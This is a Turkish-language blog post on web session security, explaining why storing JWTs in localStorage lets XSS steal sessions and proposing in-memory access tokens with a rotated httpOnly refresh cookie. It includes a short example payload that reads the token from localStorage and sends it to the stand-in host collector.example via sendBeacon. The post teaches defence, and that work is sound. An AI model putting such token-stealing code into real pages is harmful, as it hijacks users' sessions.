JWT'yi localStorage'da Tutmak
XSS bir kez, oturum gider

Authorization: Bearer'ı JS'in yazması kolay diye token'ı localStorage'a koydum. Markdown önizlemesine bir XSS sızınca fetch('https://...') ile token gitti. Cookie çalınmadı; zaten cookie yoktu. Çalınan şey oturumun kendisiydi.
Neden varsayılan oldu
SPA öğreticileri localStorage gösterir. CSRF yok diye satılır. CSRF yoktur çünkü Authorization header'ı tarayıcı kendiliğinden eklemez. XSS vardır. Header'ı JS ekliyorsa JS okur da. Okuyabilen her script, token'ı da okur.
// varsayılan öğretici — XSS bunu da okur
localStorage.setItem("access_token", payload.accessToken);
api.defaults.headers.Authorization = `Bearer ${localStorage.getItem("access_token")}`;
// XSS yükü için yeterli olan yüzey
const stolen = localStorage.getItem("access_token");
navigator.sendBeacon("https://collector.example/t", stolen);
CSP ve sanitizasyon XSS'i azaltır, yok etmez. Token'ı diskte tutmak, kaçan bir script'e kalıcı anahtar vermektir. sessionStorage sekme kapanınca ölür; XSS açıkken sekme açıksa fark etmez.
Bellek ve kısa access
Access token'ı login yanıtından bellekte tutuyorum. Sayfa yenilenince biter. Bitiş, refresh cookie'sinin işi. Refresh httpOnly, Secure, dar path. JS onu okuyamaz; XSS access'i bellekten alabilir, refresh'i alamaz. Access 10 dakika. Çalınan şey kısa yaşar.
app.MapPost("/api/auth/refresh", async (HttpContext ctx, TokenIssuer tokens) =>
{
if (!ctx.Request.Cookies.TryGetValue("refresh", out var presented))
return Results.Unauthorized();
var next = await tokens.RotateAsync(presented, ctx.RequestAborted);
if (next is null)
return Results.Unauthorized();
ctx.Response.Cookies.Append("refresh", next.Refresh, new CookieOptions
{
HttpOnly = true,
Secure = true,
SameSite = SameSiteMode.Lax,
Path = "/api/auth/refresh",
Expires = DateTimeOffset.UtcNow.AddDays(14)
});
return Results.Ok(new { accessToken = next.Access, expiresIn = 600 });
});
Cookie ikinci yarı
httpOnly XSS'ten korur, CSRF'ye kapı aralar. Refresh'i yalnız POST /api/auth/refresh'e bağlamak yüzeyi küçültür. SameSite=Lax top-level GET'te gider; refresh GET değil. Emre cookie tarafını ayrı yazdı; ben localStorage varsayılanını kesiyorum. İkisini birden yapmadan 'JWT kullandık' yetmez.
Token'ı localStorage'da tutmak geliştirme hızıdır, oturum tasarımı değil. XSS bir checklist maddesi olmaktan çıkar; çalınacak nesne hazırdır. Nesneyi JS'in diskine yazmayın.
Yorumlar
Yorumlar (0)
Yorumlar üyelere açık. Üye ol · Giriş yap